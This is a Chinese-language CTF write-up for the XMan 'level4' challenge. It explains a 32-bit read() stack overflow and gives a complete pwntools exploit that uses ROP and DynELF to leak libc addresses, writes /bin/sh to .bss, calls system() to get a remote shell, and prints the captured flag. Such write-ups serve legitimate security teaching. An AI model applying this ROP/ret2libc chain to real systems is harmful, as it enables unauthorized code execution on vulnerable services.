CTF – XMan – level4 - DynELF

题目说明

题目来源: XMan

题目: level4

read() 栈溢出 ROP 无libc ret2libc DynELF leak 重复调用
这题和level3无libc差不多,但是不能使用LibcSearcher定位(可能是版本没更新或者定位点),所以这里使用DynELF进行动态获取

解题步骤

拿到文件后先查看文件类型是32位的elf文件

检查安全机制,还是开了NX栈不可执行

使用IDA32查看主函数的伪代码

查看vulerable_function()函数伪代码

查看函数列表和字符串列表,发现没有system()和/bin/sh,也载入了libc文件

和leve3的思路差不多:

1.通过vulerable_function()的read()栈溢出构造ROP得到任意地址
2.将第一步的操作进行封装,使用DynELF()进行动态获取
3.在libc中查找system()、exit()的真实位置
4.通过vulerable_function()的read()栈溢出构造ROP将/bin/sh通过read()写入bss段
5.通过vulerable_function()的read()栈溢出构造ROP执行system(‘/bin/sh’)得到shell

进行任意函数leak
Payload1构成: 0x88位填充buf + 0x4位填充EBP + 调用write() + vulnerable_function()作为返回地址 + 文件描述符 + 任意位置 + 写入长度

将/bin/sh通过vulnerable_function()写入bss段
Payload2构成: 0x88为填充buf + 0x4位填充EBP + 调用read() + vulnerable_function()作为返回地址 + fd参数 + bss地址 + 写入长度

执行system(‘/bin/sh’)
Payload3构成: 0x88位填充buf + 0x4位填充EBP + 调用system() + exit()作为返回地址 + /bin/sh的bss地址

写出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

p = remote('pwn2.jarvisoj.com','9880')
elf = ELF('./level4')

#获取write()、read()和vulnerable_function()调用地址与bss段地址
write_plt = elf.plt['write']
read_plt = elf.plt['read']
bss_addr = elf.symbols['__bss_start']
valf_addr = elf.symbols['vulnerable_function']

#定义leak()进行任意函数地址泄露
def leak(addr):
payload1 = 'A'*0x88 + 'A'*0x4 + p32(write_plt) + p32(valf_addr) + p32(0x1) + p32(addr) + p32(0x4)
p.send(payload1)
leak_addr = p.recv(4)
return leak_addr

#获取system()、exit()真实地址
dynelf = DynELF(leak,elf=elf)
system_addr = dynelf.lookup('system','libc')
exit_addr = dynelf.lookup('exit','libc')
print("system addr - "+hex(system_addr))
print("exit addr - "+hex(exit_addr))

#将/bin/sh写入bss段
payload2 = 'A'*0x88 + 'A'*0x4 + p32(read_plt) + p32(valf_addr) + p32(0x0) + p32(bss_addr) + p32(0x8)
p.send(payload2)
p.send('/bin/sh\x00')

#执行system('/bin/sh') 得到shell
payload3 = 'A'*0x88 + 'A'*0x4 + p32(system_addr) + p32(exit_addr) + p32(bss_addr)
p.send(payload3)

p.interactive()

运行得到flag

flag:

1
CTF{882130cf51d65fb705440b218e94e98e}